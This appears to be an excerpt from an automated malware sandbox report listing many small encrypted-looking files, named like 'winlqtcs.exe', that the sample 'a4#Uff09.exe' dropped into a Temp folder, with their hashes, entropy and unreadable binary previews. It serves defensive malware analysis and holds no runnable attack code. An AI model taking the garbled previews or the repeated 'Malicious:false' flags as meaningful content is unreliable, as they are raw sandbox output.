                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winlqtcs.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winmgsa.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winmhee.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winmrpi.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winnqjyyc.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winoflsyj.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winorgy.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winpahb.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winqcqsh.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winrmkid.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winrwcjnv.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winscftef.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winsggvr.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wintdbmd.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wintkdk.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\wintwyhug.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winusso.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winvaykog.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winvfmeq.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winvpwir.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winvveem.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winvwefhy.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winwgct.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
